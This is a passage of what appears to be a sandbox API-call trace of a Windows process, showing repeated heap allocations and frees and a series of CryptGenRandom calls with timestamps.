out: hHeap=0x4f0000) returned 1 [0030.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511780 | out: hHeap=0x4f0000) returned 1 [0030.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511550 | out: hHeap=0x4f0000) returned 1 [0030.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511898 | out: hHeap=0x4f0000) returned 1 [0030.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0030.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff028 | out: hHeap=0x4f0000) returned 1 [0030.418] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.418] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.418] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.419] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.419] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.419] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.419] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.420] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.420] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.461] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.462] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.462] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.462] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.463] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.463] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.463] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.464] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.464] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.464] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.464] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.464] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.464] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.465] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.465] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.465] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.466] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.466] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.466] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.466] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.466] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.467] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.467] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.467] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.467] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.468] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.468] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.468] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.469] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.469] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.469] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.469] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.469] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.469] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.470] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.470] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.470] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.471] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.471] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.471] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.472] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.472] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.472] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.473] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.473] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.473] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.473] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.473] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.514] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.515] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.515] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.515] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511058 [0030.515] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5110e0 [0030.515] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511168 [0030.515] CryptAcquireContextW (in: phProv=0x44d70c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d70c*=0x5111f0) returned 1 [0030.516] CryptGenRandom (in: hProv=0x5111f0, dwLen=0x80, pbBuffer=0x44d720 | out: pbBuffer=0x44d720) returned 1 [0030.516] CryptReleaseContext (hProv=0x5111f0, dwFlags=0x0) returned 1 [0030.516] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5145a8 [0030.516] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511168 | out: hHeap=0x4f0000) returned 1 [0030.516] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514518 [0030.516] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x108) returned 0x511438 [0030.516] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x4) returned 0x510380 [0030.516] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0030.516] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.516] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511898 [0030.516] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511168 [0030.516] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x10c) returned 0x5111f0 [0030.516] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.516] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4ff028 [0030.516] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514488 [0030.516] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511168 | out: hHeap=0x4f0000) returned 1 [0030.516] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511550 [0030.516] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514488 | out: hHeap=0x4f0000) returned 1 [0030.516] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510218 [0030.516] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4ff040 [0030.516] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.516] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510218 | out: hHeap=0x4f0000) returned 1 [0030.516] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x88) returned 0x514488 [0030.516] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff040 | out: hHeap=0x4f0000) returned 1 [0030.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511780 [0030.517] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514488 | out: hHeap=0x4f0000) returned 1 [0030.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.517] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.517] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.517] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.517] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.517] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.517] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.517] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.517] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.517] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.517] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.517] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.517] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.517] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.517] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.517] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.517] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.517] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.517] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.517] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.517] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.517] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, 